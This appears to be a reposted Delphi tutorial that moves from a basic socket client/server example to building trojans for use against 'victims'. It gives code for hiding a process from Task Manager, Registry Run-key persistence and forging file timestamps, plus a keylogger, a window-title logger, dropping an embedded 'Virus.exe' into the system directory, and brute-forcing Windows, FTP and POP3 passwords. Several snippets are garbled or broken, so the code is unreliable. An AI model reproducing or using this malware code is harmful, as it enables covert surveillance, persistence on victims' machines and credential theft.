LAN Web TCP Delphi

cilent,server ,keylogger ..vs. programlama
cilent,server ,keylogger ..vs. programlama
How to program Client/Server applications
--------------------------------------------------------------------------------
Generalities
The 'Client/Server' concept is a quite simple one. A program is available to process information on behalf of other remote programs. The former is called 'Server', the latter 'Client'.
The most popular Client/Server application today is the Web. In this case, the Servers are all those like Yahoo & Co.. The Clients are the Web browsers (a little digression - throw away IE and Netscape, Opera is better) we use to get at their Web sites.
There are a number of terms commonly used in discussing the Client/Server concept:
connection
A completed "pipeline" through which information can flow between Client and Server. The Client is always the connection requestor and the Server is always the one listening for and accepting (or rejecting) such requests.
message
Any information that's sent one way or the other through a connection. Messages are typically single command requests or Server responses.
remote procedure
A procedure that a Client asks a Server to execute on its behalf.
synchronous
When the caller wait until the request it is done.
asynchronous
The alternative to the synchronous connection - allowing the calling code to continue on even before the function called is done.
Different Client/Server systems employ each of these kinds of procedure calling modes. The main benefit of an asynchronous Client/Server is that processing can continue on both sides without delays. In the case of Servers (Trojans :-)) I wrote I used asynchronous sockets (i.e. I set ServerType to stNonBlocking). This way it is also easy to code.
There are plenty of other stuffs related to the Client/Server concept, but this should be sufficient for you - and for me too ;-)
--------------------------------------------------------------------------------
Coding details
There are few components you can use in developing Client/Server programs, but I used only ClientSocket and ServerSocket (under Internet tab in Delphi IDE), because they work fine.
Let's take from the beginning. Open a Delphi project and drop a ServerSocket component on your form. In the component's properties set Active to True, ServerType to stNonBlocking and choose a Port number, say 666 (lack of imagination...) at which the Server will listen for connection. If you don't like the design time, these properties could be set at runtime: ServerSocket1.Open, ServerSocket1.Port:=666 and ServerSocket1.ServerType:=stNonBlocking in form's OnCreate event.
Now the server is set to listen on port 666 and you have to write the OnRead event. In the example bellow I put some common stuff (when receive the Command '01' the Server makes a beep, when receive the Command '02' shows a message from the Client and sends back a confirmation), so you have to personalize it according to your needs.
procedure TForm1.ServerSocket1ClientRead
(Sender:TObject;Socket:TCustomWinSocket);
var Command:integer;
FullCommand,st:string;
begin
FullCommand:=Socket.ReceiveText;
st:=copy(FullCommand,1,2);
Command:=StrToInt(st);
case Command of
01:beep;
02:
begin
ShowMessage(st);
st:='The message '''+st+''' has been received';
Socket.SendText(st);
end;
//etc.
end;
end;
That's all. Now you can run the Server and wait for messages from the Client.
--------------------------------------------------------------------------------
Open another Delphi project and drop a ClientSocket component, three Buttons, and two EditBoxes on your form. In the ClientSocket1's properties set Active to False, ClientType to ctNonBlocking and choose the same Port number as for Server (666).
Bellow are shown the OnCreate event of Form1, OnRead and OnError events of ClientSocket1 and OnClick events of Button1,Button2 and Button3:
procedure TForm1.FormCreate(Sender: TObject);
begin
Button1.Caption:='Connect';
Button2.Caption:='Send Beep';
Button3.Caption:='Send Message';
Edit1.Text:='127.0.0.1';
Edit2.Text:='Hi from client!';
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
if ClientSocket1.Active=False then
try
ClientSocket1.Host:=Edit1.Text;
ClientSocket1.Active:=True;
Button1.Caption:='Disconnect';
except
ClientSocket1.Active:=False;
end
else
begin
ClientSocket1.Close;
Button1.Caption := 'Connect';
end;
end;
procedure TForm2.Button1Click(Sender: TObject);
begin
ClientSocket1.Socket.SendText('01');
end;
procedure TForm2.Button1Click(Sender: TObject);
begin
ClientSocket1.Socket.SendText('02'+Edit2.Text);
end;
procedure TForm1.ClientSocket1Read
(Sender:TObject;Socket:TCustomWinSocket);
var s:string;
begin
s:=Socket.ReceiveText;
ShowMessage(s);
end;
procedure TForm1.ClientSocket1Error
(Sender: TObject;Socket: TCustomWinSocket;
ErrorEvent: TErrorEvent;var ErrorCode: Integer);
begin
ErrorCode:=0;
Button1.Caption:='Connect';
end;
The code is mostly self-explanatory, but I think you don't know what ErrorCode:=0 and Edit1.Text:='127.0.0.1' mean. You have to write an OnError event handler to respond to errors that arise with the socket connection. If you set the ErrorCode parameter in this mode you prevent an ESocketError from being raised. The other thing (127.0.0.1) represents the remote Host address to connect to. In case you want to try both the Server and the Client on the same computer, 127.0.0.1 is the address you need for connection (so called loopback connection). In the Host property you can write the computer name in place of the IP address.
That's all for the beginning. If you need to know the specific Trojan coding you have to go to the Trojan section.
--------------------------------------------------------------------------------
Trojan programming
--------------------------------------------------------------------------------
Generalities
If you are a newbie and you came directly here, you have to go first to the Client/Server subsection.
A Trojan is in fact a classic server. The Trojan is waiting (listening) in background for the client requests. And what can a Trojan do? Well, now it depends on your imagination: delete files (folders, partitions), send files to the Client, victim monitoring (see the Loggerz section: KeyLogger and AppLogger), close and launch appz and whatever your screwed mind wants! It only must be done a little extra (specific) coding which will be discussed bellow.
--------------------------------------------------------------------------------
Hiding
The important thing to do in programming Trojans is to make them hidden from the victim's eyes and from CTRL-ALT-DEL. And if the operating system is Windoze 9x or Me, Trojans can be completely hidden.
This is possible by making them services, using an API function from kernel32.dll (RegisterServiceProcess), function which has been eliminated from Windoze 2000 and XP (in fact from NT) libraries.
In Windows Delphi unit, RegisterServiceProcess can't be found, so the sdtcall directive must be used.
If you don't want to make separate executables for NT and 9X, you have to search for RegisterServiceProcess in kernel32.dll and call it only if it is found.
And this is the code:
procedure TForm1.FormCreate(Sender: TObject);
type TRegisterService=
function(dwProcessId,dwType:dword):Integer;
stdcall;
var RegisterServiceProcess:TRegisterService;
dllHandle:THandle;
begin
Application.ShowMainForm:=False;
dllHandle:=LoadLibrary('KERNEL32.DLL');
@RegisterServiceProcess:=GetProcAddress(dllHandle,
'RegisterServiceProcess');
if @RegisterServiceProcess<>nil then
RegisterServiceProcess(GetCurrentProcessID,1);
end;
In the above example, Application.ShowMainForm:=False has an important role. Setting this property causes the application to hide from the Applications tab in TaskManager (in 2k, XP). Another way to do this is to set Application.Title:='', and this must be done in the project file (.dpr), just after Application.Initialize:
program project1;
uses
Forms,
Unit1 in 'Unit1.pas' {Form1};
{$R *.res}
Application.Initialize;
Application.Title:='';
Application.CreateForm(TForm1, Form1);
Application.Run;
end.
--------------------------------------------------------------------------------
Starting from the Registry
The Trojan has to start automatically on Windoze startup. There are three possibilities to add the Trojan to the Windoze boot sequence: from Win.ini file, from StartUp folder or from Registry. Starting from Registry can be done in few ways and an example is shown below:
procedure TForm1.FormCreate(Sender: TObject);
var
Reg:TRegistry;
begin
Reg.RootKey:=HKEY_LOCAL_MACHINE;
Reg.Access:=KEY_WRITE;
Reg.OpenKey('SoftwareMicrosoftWindowsCurrentVersion
Run',true);
Reg.WriteString('MyStringName',
'CompletePathTrojan.exe');
Reg.CloseKey;
end;
If the Trojan is resident in the System directory (either NT or 9x), then it isn't necessary to specify the complete path in Reg.WriteString, it's enough to put only the Trojan name.
--------------------------------------------------------------------------------
Setting the Trojan date and time
To make the Trojan hard to find you have to put it a common (M$) icon and set it's Date Created and Date Modified to the dates of a system file, say explorer.exe.
How to do this? Find the Windows directory, get a handle of explorer.exe and get its time, get the Trojan handle and finally set the Trojan time :
procedure TForm1.FormCreate(Sender: TObject);
var WinDir:Array[0..Max_Path] of Char;
ReferenceFile:string;handly:integer;
AT,CT,WT:TFileTime;
begin
GetWindowsDirectory(WinDir,Max_Path);
ReferenceFile:=WinDir+'Explorer.exe';
handly:=FileOpen(ReferenceFile,fmOpenRead);
GetFileTime(handly,@CT,@AT,@WT);
FileClose(handly);
handly:=FileOpen('CompletePathTrojan.exe',
fmOpenWrite);
SetFileTime(handly,@CT,@AT,@WT);
FileClose(handly);
end;
If you want a complete example of Trojan you have to visit the Downloads section.
--------------------------------------------------------------------------------
KeyLogger programming
--------------------------------------------------------------------------------
Generalities
There are two possibilities of treating this matter.
The harder one (but good...) is to install a hook (with SetWindowsHookEx API function) at the system level, a hook which captures all the messages that circulate through Windoze. Installing such a hook is a bit complicated and the hooking functions have to be contained in a DLL, not in the Delphi application.
And this it takes some coding ...
The other way (easier) in logging keys is to use the API functions GetAsyncKeyState and GetKeyState. These funcz work fine and the coding is more than simple, so this is the approach that will be treated ;-)
--------------------------------------------------------------------------------
Coding details
With GetAsyncKeyState and GetKeyState all the keyboard strokes can be trapped, and there are 256 possible virtual key codes. The GetAsyncKeyState function determines whether a key is up or down at the time the function is called.
When a key is pressed, say '2' (key code #50), then GetAsyncKeyState(50)=-32767.
If the keylogger is wanted to be an accurate one, then it has to trap the SHIFT and the CAPS LOCK keys. This is possible by checking the state of the VK_SHIFT and VK_CAPITAL keys with GetKeyState function.
In the example below there is a timer with Timer1.Interval:=1 and all the keystrokes are added to a global string (ss):
procedure TForm1.Timer1Timer(Sender: TObject);
var i:integer;
begin
for i:=8 To 255 do
begin
if GetAsyncKeyState(i)=-32767 then
case i of
8:ss:=ss+'[UNDO]';9:ss:=ss+'[TAB]';
13:ss:=ss+#13#10;27:ss:=ss+'[ESC]';
32:ss:=ss+' ';
48:if GetKeyState(VK_SHIFT)<0 then ss:=ss+')'
else ss:=ss+'0';
//...
57:if GetKeyState(VK_SHIFT)<0 then ss:=ss+'('
else ss:=ss+'9';
65..90: //a-z,A-Z
if Odd(GetKeyState(VK_CAPITAL)) then
if GetKeyState(VK_SHIFT)<0 then
ss:=ss+LowerCase(Chr(i))
else
ss:=ss+UpperCase(Chr(i))
else
if GetKeyState(VK_SHIFT)<0 then
ss:=ss+UpperCase(Chr(i))
else
ss:=ss+LowerCase(Chr(i));
//NUMPAD
97:ss:=ss+'1';
//...
105:ss:=ss+'9';
106:ss:=ss+'*';107:ss:=ss+'&';109:ss:=ss+'-';
110:ss:=ss+'.';111:ss:=ss+'/';
112..123: //F1-F12
ss:=ss+'[F'+IntToStr(i - 111)+']';
186:if GetKeyState(VK_SHIFT)<0 then ss:=ss+':'
else ss:=ss+';';
187:if GetKeyState(VK_SHIFT)<0 then ss:=ss+'+'
else ss:=ss+'=';
188:if GetKeyState(VK_SHIFT)<0 then ss:=ss+'<'
else ss:=ss+',';
189:if GetKeyState(VK_SHIFT)<0 then ss:=ss+'_'
else ss:=ss+'-';
190:if GetKeyState(VK_SHIFT)<0 then ss:=ss+'>'
else ss:=ss+'.';
191:if GetKeyState(VK_SHIFT)<0 then ss:=ss+'?'
else ss:=ss+'/';
192:if GetKeyState(VK_SHIFT)<0 then ss:=ss+'~'
else ss:=ss+'`';
219:if GetKeyState(VK_SHIFT)<0 then ss:=ss+'{'
else ss:=ss+'[';
220:if GetKeyState(VK_SHIFT)<0 then ss:=ss+'|'
else ss:=ss+'';
221:if GetKeyState(VK_SHIFT)<0 then ss:=ss+'}'
else ss:=ss+']';
222:if GetKeyState(VK_SHIFT)<0 then ss:=ss+'"'
else ss:=ss+'''';
end;
end;
end;
--------------------------------------------------------------------------------
Logging applications
This is quite a simple thing. There has to be a handle to the foreground window (API func GetForegroundWindow returns the handle) and then the function GetWindowText finds the window title.
Here is an example (Current_App and ss are global strings):
procedure TForm1.Timer1Timer(Sender: TObject);
var handler:THandle;
caption:array[0..80] of Char;
begin
handler:=GetForegroundWindow;
GetWindowText(handler,caption,80);
if (caption<>Current_App)and(caption<>'') then
begin
Current_App:=caption;
ss:=ss+'['+caption+']-['+TimeToStr(Now)+']'+#13#10;
end;
end;
In these examples I used a timer with Timer1.Interval:=1 because in case of a loop there is a 100% usage of the computer processor!
--------------------------------------------------------------------------------
Embedding files
--------------------------------------------------------------------------------
HowTo
Delphi offers a great way to store any tipe of file (avi, wav, EXE etc.) in the application (executable) by supporting resource files.
There are few steps to be done:
Creating a resource script (RC) file
Create a file MyRes.rc. In this file put the following line:
xx wave MyFile.wav
In case of adding more files, the line above has to be repeated.
xx represents the identifier for the embedded file (an identifier, that can be any name, must be put for each file) and wave represents the file type. As it can be seen, the line format is:
[resourcename] [filetype] [filename]
and in case the type of the file isn't known, filetype can be replaced with RCDATA.
Compiling MyRes.rc
Compile the RC file to a RES file by typing in the command prompt:
brcc32 MyRes.rc
After this will result MyRes.res - the resource file.
Including MyRes.res file in the project
The resource file must be mentioned in the *.dpr file or in the *.pas file, under implementation as it can be seen below:
implementation
{$R *.dfm}
{$R MyRes.res}
Playing the wave
For playing the wave from the embedded file, the function below can be used:
PlaySound('xx',hInstance,SND_RESOURCE or SND_SYNC);
--------------------------------------------------------------------------------
Embedding executables
As I said earlier, it is possible to store anything in the exe, even another exe! You have to follow the same steps as for the wave file (see above), the single difference being that the file type is exefile, not wave, so the line in the resource script file will be:
q exefile MyExe.exe,
where q is the identifier.
A reason for putting an exe in another is to execute it while running the main or just extracting it on the hard disk for a later action ;-). For extracting the embedded file on the hard disk it can be used a procedure like this:
procedure TForm1.ExtractRes(ResType,ResName,
ResNewName:String);
var ExeRes:TResourceStream;
begin
ExeRes:=TResourceStream.Create
(Hinstance,Resname,Pchar(ResType));
ExeRes.SavetoFile(ResNewName);
ExeRes.Free;
end;
And here is an example for calling the procedure ExtractRes:
procedure TForm1.FormCreate(Sender: TObject);
var SysDir:Array[0..Max_Path] of Char;
begin
GetSystemDirectory(SysDir,Max_Path);
ExtractRes('exefile','q',SysDir+'Virus.exe');
end;
--------------------------------------------------------------------------------
Brute Force algorithm
--------------------------------------------------------------------------------
Generalities
There are many ways to approach the so called method Brute Force, used especially for finding files (the Windoze Search is, in fact, such a method) or passwordz. The method is apparently simple, but it can be less or more quick - depends on the coding.
But what is this method about? Well, it is a procedure in which the desired result (say, finding a password :-)) is approached through a cycle of operations, each of them more closely approximating the wanted outcome.
Fot better understanding, a short example follows. Suppose the password is abc and you have to find it using the letters a, b, c and d. The iteration starts with a, continues with b, c, d, then beginning with two letters words, from aa to dd, after that trying the three letters words, beginning with aaa and stopping when the password abc was found. It seems simple ...
--------------------------------------------------------------------------------
Coding details
There are few ways to code an algorithm. The two procedures shown below seems to be quite fast and, as you can see, you don't have to write too much:
procedure TForm1.TryPassword;
var i:integer;
begin
pass:='';
for i:=max-1 downto 0 do
pass:=TrimLeft(pass)+MyChar[pw[i]];
end;
procedure TForm1.Append(j:integer);
var i:integer;
begin
if pw[j]pw[j]:=pw[j]+1
else
begin
pw[j]:=1;
if j=max-1 then //final
ShowMessage('Fucked up!');
else
begin
inc(j);//next char
Append(j);
end;
end;
end;
All you have to do is to set the maximum password length (max) and the dimension of the dynamic array pw (SetLength(pw,max)) and to put the Append and TryPassword procedures in a loop.
And of course you must declare some public variables and a constant string :
var
pass:string;
max:integer;
MyLen:integer;//length of MyChar
pw:array of integer;
const
MyChar:string='abcde...ABCDE...012...';
--------------------------------------------------------------------------------
Windoze passwordz
In this section is exposed a method to find the Windoze password, and by Windoze I mean NT, because in case of 9x there ain't any reason for finding passwords.
In Delphi, in the Windows unit, the LogonUser function is available, which is imported from the advapi32 library. This function attempts to perform a logon operation and, in case it succeeds, you'll receive a handle to a token that represents the logged-on user. The return value when succeeds is non-zero, LogonUser being a LoongBool function.
So what you have to do is to check the return of:
LogonUser(pchar(UserName),nil,pchar(Pass),
LOGON32_LOGON_INTERACTIVE,LOGON32_PROVIDER_DEFAULT,
aToken)
The last parameter (aToken) is a pointer to a handle variable and must be declared as a THandle.
It has to be mentioned that this function works even you are a simple user logged-on, meaning that it's not necessary to have the administrator rights!
--------------------------------------------------------------------------------
FTP & Mail passwordz
Brute Force algorithm can be also used for finding FTP and POP3 passwords. In these cases you have to drop a couple of components on your form.
You can use the NMFTP and NMPOP3 components, under the FastNet tab in the Delphi IDE. These two have many bugs and require a careful handling. All you have to do is to set the Host, Port(21 for FTP and 110 for POP3), UserID and Timeout properties. With the Brute Force algorithm you have to try the Password property of the component and take care on iterating, because it's a high risk of blocking.
--------------------------------------------------------------------------------
Encrypting
--------------------------------------------------------------------------------
Generalities
The most important thing first to be known is that each letter (character) has a numeric code, called ASCII code. In the case a letter (character) is changed to the corresponding ASCII code it becomes a 3-digit number. And when the character is in the ASCII form you can perform mathematical functions on it - the essential thing being that all the changes have to be reversible.
Here is an example of an algorithm for changing the characters to ASCII and performing mathematical functions on them:
Character -> ASCII Code -> Encrypt Function -> New ASCII Code -> New Character
The encrypt function can do any mathematical operation, say increment the ASCII number with 10.
After this, the new character is completely different from the original one and to get back the original you have to perform the reverse operation:
New Character -> ASCII Code -> Decrypt Function -> Original ASCII Code -> Original Character
In our case, the decrypt function has to decrease the ASCII number with 10.
This seems very simple and so it is. No encryption routine would be written like this, because it could be easily cracked.
Of course that for encrypting-decrypting files you need to be able to break up the strings into one character chunks and afterward perform character tweaking.
A main thing to do for a good encryption algorithm is to add some randomness. The more randomness, the more secure your algorithm will be. If the number added to the ASCII code is a random number and can be changed for each character, the encryption will be more secure. On the other hand you have to store these numbers somewhere and this is called a key. Now, you won't make a random number for each character or your key will be huge.
For example, an encryption key could be an array of integers with 128 elements ranging from 0 to 9. The algorithm based on such a key is known as 128-bit encryption algorithm (the bit number refers to the length of the key).
Examples of encrypting-decrypting procedures can be seen below.
--------------------------------------------------------------------------------
HowTo
Here are two procedures, one for encrypting and other for decrypting files.
For making them work you have to declare a huge constant:
const
ConstBuffy:array[1..2048] of integer=
(112,103,114,...add numbers up to 2k :-))
The encrypting procedure:
procedure Encrypt;
var
k,kk,x,y,z:integer;
Strimy1,Strimy2:TMemoryStream;
F1, F2: File;
Buffy: array[1..2048] of char;
begin
Strimy1:=TMemoryStream.Create;
Strimy2:=TMemoryStream.Create;
x:=0;
Strimy1.LoadFromFile
(ExtractFileDir(Application.ExeName)+ 'My_File');
repeat
Strimy1.Position:=x*2048;
Strimy2.Position:=x*2048;
z:=Strimy1.Size div 2048;
inc(x);
if z+1>x then
y:=2048
else
y:=Strimy1.Size mod 2048;
Strimy1.Readbuffer(Buffy,y);
for k:=1 to y do
begin
kk:= ord(Buffy) + ConstBuffy;
Buffy:= chr(kk);
end;
Strimy2.Write(Buffy,y);
until y<2048;
Strimy2.SaveToFile
(ExtractFileDir(Application.ExeName)+'Encrypted');
Strimy1.Free;
Strimy2.Free;
end;
The decrypting procedure:
procedure Decrypt;
var
k,kk,x,y,z:integer;
Strimy1,Strimy2:TMemoryStream;
F1, F2: File;
Buffy: array[1..2048] of char;
begin
Strimy1:=TMemoryStream.Create;
Strimy2:=TMemoryStream.Create;
x:=0;
Strimy1.LoadFromFile
(ExtractFileDir(Application.ExeName)+'Encrypted');
repeat
Strimy1.Position:=x*2048;
Strimy2.Position:=x*2048;
z:=Strimy1.Size div 2048;
inc(x);
if z+1>x then
y:=2048
else
y:=Strimy1.Size mod 2048;
Strimy1.Readbuffer(Buffy,y);
for k:=1 to y do
begin
kk:= ord(Buffy) - ConstBuffy;
Buffy:= chr(kk);
end;
Strimy2.Write(Buffy,y);
until y<2048;
Strimy2.Position:=0;
Strimy2.SaveToFile
(ExtractFileDir(Application.ExeName)+ 'Decrypted');
Strimy1.Free;
Strimy2.Free;
end;